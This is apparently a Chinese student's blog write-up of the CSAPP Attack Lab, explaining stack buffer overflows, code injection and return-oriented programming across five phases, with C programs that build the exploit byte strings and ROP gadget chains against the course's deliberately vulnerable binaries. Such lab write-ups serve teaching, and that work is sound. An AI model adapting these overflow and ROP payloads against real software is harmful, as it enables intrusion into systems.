CSAPP Attack Lab
历经一个多星期,之前写完第一部分就一直放着了,稍微补充了一下知识,差点让第二部分吓到,没想到做起来还挺简单哈
这次任务是让我们当一个远古时期的萌新黑客,是不是很酷呀
这次上来才发现看不懂让干啥,于是乎就去看了某个视频,惊讶的发现这玩意除了有README还有Writeup,啊这这这,writeup会告诉我们怎么写这个实验,巴拉巴拉
而且还有方便实验的小tips,我没看完讲义,硬生生造了个 hex2raw轮子,呜呜
下面开始正文,随便记录一下关键点(我不会说是我懒不想复现的)
phase 1
大致意思就是,让原本test调用的getbuf函数,完成他的任务时,不反回到test里,而是跑到touch1里,是不是很神奇
具体怎么做呢?
首先是因为
这个远古的函数Gets老哥只管读数据,啥边界也不管,因为buf是在栈上的,所有读的数据也就存在栈上,而栈上还存的函数的返回地址呢
也就是说我们只要偷偷把返回地址换成touch1的就可以啦~
是不是很简单
具体栈的布局就是上面这样,只要你的输入的字符能把返回test的地址盖住你就可以为所欲为了(在第一部分)
这里我遇到了一些些小坑(只能刚刚盖住test的地址,不能超了,一超就段错误)
另外注意 地址顺序 这里是小端地址
下面就量出我写的代码(没看讲义造轮子了,但也不能白写还是贴出来把)
#include <stdio.h>
int main()
{
FILE * fp = fopen("phase1.txt" , "w");
if(fp == NULL){
return 1;
}
const char * p = "0123456789012345678901234567890123456789\xc0\x17\x40"; fputs(p , fp);
fclose(fp);
printf("success\n");
return 0;
}
执行后就会生成一个文本,然后就是答案了(我写的字节序列有一些是随便写的,只要关键部分才有用)
phase 2
下面这个比上面多了一个传递值的步骤
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
就是这次调用touch2时后需要传个cookie(值就是文件给的哪个cookie)
这个一开始怎么写呢
首先想一下上节内容,val肯定是存在%rdi寄存器里的(忘了话去看一下)
所以我们的目标就是
mov $cookie , %rdi # 我写的伪码,这个写法不正确啊,能表达意思就可以了
所以我们要想一个办法,让程序能不能执行一下我们的这条指令呢
我们应该都知道,程序本质上就是一串0 1 序列,栈啊堆啊的对于cpu来说其实没啥区别。cpu只不过会把 cs : ip 寄存器指令指向的内存当成可执行指令罢了。我们也知道ret 就是会把栈上的数据弹出给ip,既然上面第一节地址可以是touch1的地址,那能不能是栈上rsp的地址呢?
说干就干,直接让ret返回到栈上缓存区的一部分,然后我们用 gcc - c将上面的汇编转成01指令放到我们输入的地方,就可以了
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
int fd = open("phase2.txt" , O_WRONLY | O_CREAT | O_APPEND);
if(fd == -1){
return 1;
}
// 这里输入的意思就是 一段小程序了
const char p[] = {0xbf , 0xfa , 0x97 , 0xb9 , 0x59 , 0x48 , 0x83 , 0xec,
0x08 , 0x48 , 0xc7 , 0x04 , 0x24 , 0xec , 0x17 , 0x40,
0x00 , 0xc3 };
const char p1[] = {0x78 , 0xdc , 0x61 , 0x55, 0x00 , 0x00 , 0x00 , 0x00};
//40 - 18 = 22
char tmp[22];
write(fd , (char *)p , 18);
write(fd , (char *)tmp , 22);
write(fd , (char *)p1 , 8);
close(fd);
printf("len = %ld success\n" , sizeof(p));
return 0;
}
方法是可行的,这里我们就可以成功完成这个实验了
phase 3
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
第三部分又是在上面的基础上改了一下,不是传递值了,而是传递指针。这虽然改了一下,但是我们能注入代码呀,这还不简单,框框就是写个代码
emmm… 写是写,但是我们的字符串cookie放在哪呢?
算了随便放个栈上了
mov 数据地址 , %rdi
ret #touch3
好,写完运行一下
额,段错误,调试一下就会发现,我的数据怎么被盖住了啊,没了~
此处省略很多步骤…(我建议你们自己去体验一下,很有意思)
最后找到了一个不被盖住的方法
对应的汇编就是上面的
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
int fd = open("phase3.txt" , O_WRONLY | O_CREAT | O_APPEND);
if(fd == -1){
return 1;
}
const char p[] = {
/*78*/ 0xbf , 0x50 , 0xdc , 0x61 , 0x55 , 0x48 , 0x83 , 0xec,
/*80*/ 0x08 , 0x48 , 0xc7 , 0x04 , 0x24 , 0xfa , 0x18 , 0x40,
/*88*/ 0x00 , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB0 , '5' , '9' ,
'b' , '9' , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB4 , '9' ,
'7' , 'f' , 'a' , 0xc3 , 0x00 , 0x00 , 0x00 , 0x00};
const char p1[] = {0x78 , 0xdc , 0x61 , 0x55, 0x00 , 0x00 , 0x00 , 0x00};
//0x202bd6
// 3 9 6 2 3 9 3 5
//40 - 18 = 22
char tmp[13];
write(fd , (char *)p , 40);
// write(fd , (char *)tmp , 6);
write(fd , (char *)p1 , 8);
close(fd);
printf("len = %ld success\n" , sizeof(p));
return 0;
}
代码如上
然后一鼓作气继续下一个
emmm…好难,先鸽几天再说
phase 4
我又来了哈~
讲义一大堆,好像意思就是,我们不能注射代码了,之前栈上也是有执行权限的,但是现在没了,然后栈还给随机化了,这这这
不过幸好没用金丝雀,不然我没缓存区实验都做不了
那我们就补充一下知识吧
这部分整的看的我都晕乎(英文不好是原罪),意思就是有个gadget的小工具或者小技巧可以让我们用
这里我先解释一下基本知识
我们都知道,程序运行通过的是特定的机器代码来执行也就是说你要是让程序执行 48 89 c0 和 89 c0这俩差不多的指令,但是他们的指令含义就是不一样的
48 89 c0 : 指令是 movq %rax , %rax
89 c0 : 指令是 movl %eax , %eax
你看,同样差不多的指令,我们要是有办法让cs ip中的ip寄存器稍微往后移一位,指令的解释就不一样了
知道了上面这个有什么用呢?我们自己注入代码肯定不现实,因为栈上不能执行了,但是我们还能利用栈上俩个特性
- 栈上可以存数据
- 栈上还存着函数调用代码的地址,ret返回时需要跳的地址
也就是说,虽然栈随机化了,但是代码没随机化,我们还是可以知道某段代码的地址
那么我们就可以利用原来他的代码,通过ret跳到不同的指令地址,来解释成新的代码
举个例子,可能说不太清楚
如果我们想执行一段指令
popq %rax
movq %rax , %rdi
ret
不用管代码含义,假如我们之前想注入的代码是上面这样,但是现在又注入不了,那怎么能让程序执行上面的代码呢?
首先放出一张图
上面的代码转成机器语言就是
58 //popq %rax
48 89 c7 //movq %rax , %rdi
c3 //ret
下面是我们需要黑的程序的部分代码段
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3
不知道你们发没发现,这里面有一个58 ,然后我们能不能直接让程序跳到58的位置执行呢?
答案是可以的,因为58对应的地址 4019b1,所以如果我们此时,将栈上返回的地址,让他返回到这里,我们就达成了这样的愿望
那后面也有90 和 c3他们会不会和我们的58 联合起来被解释成别的指令呢?
答案是不会的,因为90对应的是nop指令,c3应的是ret指令,他们只会单独被解释,所以说我们就通过ret跳转跳到我们让他们跳的地方,然后执行了我们想执行的指令,同时执行完之后又ret了,也就是说我们又可以在栈上写个地址,让 它给我们跳到我们想跳的地方
所以,上面的方法通过ret跳转,跳到想跳的地方,就可以组成我们特定代码啦
【重点就是上面的知识,下面的练习只给出结果(因为很晚了要睡觉)】
下面看一下题目
For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your gadget farm. You can construct your solution using gadgets consisting of the following instruction types, and using only the first eight x86-64 registers (%rax–%rdi).
意思就是继续phase2的步骤呗
来吧重复的步骤,汇编代码就是上面的 例子
你只需要按照要求找出跳的地方就可以了
下面是我的答案
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
int fd = open("phase4.txt" , O_WRONLY | O_CREAT | O_APPEND);
if(fd == -1){
return 1;
}
const char p[] = {
/*78*/ 0xbf , 0x50 , 0xdc , 0x61 , 0x55 , 0x48 , 0x83 , 0xec,
/*80*/ 0x08 , 0x48 , 0xc7 , 0x04 , 0x24 , 0xfa , 0x18 , 0x40,
/*88*/ 0x00 , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB0 , '5' , '9' ,
0xfa , 0x97 , 0xb9 , 0x59 , 0x00 , 0x00 , 0x00 , 0x00,
0xec , 0x17 , 0x40 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00};
const char p1[] = {0xab , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0xfa , 0x97 , 0xb9 , 0x59, 0x00 , 0x00 , 0x00 , 0x00,
0xc5 , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0xec , 0x17 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00};
//popq %rax
//mov %rax , %rdi
//ret
write(fd , (char *)p , 40);
write(fd , (char *)p1 , 32);
close(fd);
printf("len = %ld success\n" , sizeof(p));
return 0;
}
phase 5
Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3, you caused a program to execute machine code of your own design. If CTARGET had been a network server, you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own code, you were able inject a type of program that operates by stitching together sequences of existing code. You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations consider stopping right now. Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie. That may not seem significantly more difficult than using an ROP attack to invoke touch2, except that we have made it so. Moreover, Phase 5 counts for only 5 points, which is not a true measure of the effort it will require. Think of it as more an extra credit problem for those who want to go beyond the normal expectations for the course.
上来就是一段劝退
吓到我啊,久久不敢动手。差点说放弃了,不过还是硬着头皮写吧,写的写的发现,这太…简单了吧,就是重复的工作
首先上来第一步,先确定我们想执行的代码
pop %rax // [n] 0x20
mov %rax , %rsi
mov %rsp , %rdi
add_xy (rdi + rsi + n) == &data , %rax
mov %rax , %rdi
ret //touch3 0x4018fa
上面的代码任然是我多次迭代后的结果。可能不像大家想的那样
反正就是写完代码,你就对应看看能不能在程序里找到能让我们用上的代码(对照给出的图),但是你发现,有一些代码程序直接可能没有,所以我们需要找一下哪些能用上的
pop %rax // [n] 0x20
[mov %rax , %rsi // rdx->rcx->rsi]
mov rax , rdx . ret //0x401a42
mov rdx , rcx . ret //401a69
mov rcx , rsi . ret // 401a13
[mov %rsp , %rdi // -- mov %rsp , %rax | mov %rax , %rdi]
mov rsp , rax // 0x401a3c
mov rax , rdi // 0x4019a2
add_xy (rdi + rsi + n) == &data , %rax // 0x4019d6
mov %rax , %rdi // 0x4019a2
ret //touch3 0x4018fa
上面就是能用上的了,有的地址不太对
我们把一条指令,解释成三条或者多条能用上的指令就可以啦
总代码
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
int fd = open("phase5.txt" , O_WRONLY | O_CREAT | O_APPEND);
if(fd == -1){
return 1;
}
const char p[] = {
/*78*/ 0xbf , 0x50 , 0xdc , 0x61 , 0x55 , 0x48 , 0x83 , 0xec,
/*80*/ 0x08 , 0x48 , 0xc7 , 0x04 , 0x24 , 0xfa , 0x18 , 0x40,
/*88*/ 0x00 , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB0 , '5' , '9' ,
'b' , '9' , 0x48 , 0xc7 , 0x44 , 0x24 , 0xB4 , '9' ,
'7' , 'f' , 'a' , 0xc3 , 0x00 , 0x00 , 0x00 , 0x00};//上面这部分没用,只是为了占位
const char p1[] = {0xab , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0x20 , 0x00 , 0x00 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0x42 , 0x1a , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0x69 , 0x1a , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0x13 , 0x1a , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0x06 , 0x1a , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0xa2 , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0xd6 , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0xa2 , 0x19 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
0xfa , 0x18 , 0x40 , 0x00, 0x00 , 0x00 , 0x00 , 0x00,
'5' , '9' , 'b' , '9' , '9' , '7' , 'f' , 'a' ,
0x00 , 0x00 , 0x00 , 0x00, 0x00 , 0x00 , 0x00 , 0x00};
write(fd , (char *)p , 40);
write(fd , (char *)p1 , 8 * 12);
close(fd);
printf("len = %ld success\n" , sizeof(p));
return 0;
}
是不是很长啊,其实都是重复工作
终于完成了这个lab,我们也成为了曾经的萌新黑客,很酷吧~